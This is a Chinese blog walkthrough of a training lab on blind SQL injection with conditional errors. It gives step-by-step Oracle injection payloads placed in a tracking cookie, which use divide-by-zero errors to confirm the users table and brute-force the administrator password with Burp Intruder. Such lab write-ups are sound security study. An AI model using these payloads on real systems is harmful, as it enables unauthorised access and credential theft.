Lab: Blind SQL injection with conditional errors带条件错误的盲注靶场复盘

靶场要求:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

靶场内容

在这里插入图片描述

靶场操作:

  • 使用burpsuite截获shop首页的数据包
  • 根据题目的提示,我们需要在cookie上做手脚,根据推断,cookie应该以加密的方式显示的一个用户的用户名
  • 假设这个cookie的内容是xyz
  • 尝试:xyz' 发现返回值为:Internal Server Error,尝试 xyz'' 发现不返回错误,正常显示页面。而我们刚才的错误属于语法的错误,但是不告诉我们错在哪,我们可以故意构造语法错误来进行攻击
  • 但是在此之前,需要辨别这个是什么数据库,使用 xyz' || (select '')||' 其中,|| 表示的是字符串拼接。但是它报错了,我们考虑这可能是Oracle 数据库,所以需要修改为:xyz’ || (select '' from dual) ||' 发现不报错。
  • 我们测试users这个数据表是否存在,可以使用命令:xyz' ||(select '' from users where rownum =1)|| '这里的rownum=1比较重要,这里防止查询的时候返回多行,我们只要返回空字符就可以啦。
  • 测试代码:xyz' ||(select case when (1=1) then to_char(1/0) else '' end from dual)||' 这样会有错误的信息返回,当when条件里面成立的时候,就会执行then后面的内容,如果不成立,就会返回else的内容。
  • 测试代码,确认是否有administrator这个账户:xyz' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') ||' 这个代码和特殊,如果不存在administrator这个用户和1=1不成立,都会返回200OK,因为SQL语句的判断顺序是先判断where后面的内容。
  • 密码判断:xyz' ||(select case when length(password)>3) then to_char(1/0) else '' from users where username='administrator' ||',之后进行手动判断,最后密码为20位
  • Inuder暴力破解:语句为:xyz' || (select case when substr(password,§1§,1)='§a§' then to_char(1/0) else '' end from users where username='administrator') ||',字典1为1到20 ,字典2位0到9和a到z
  • 最后筛选状态码为500的内容,密码就可以出来了
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值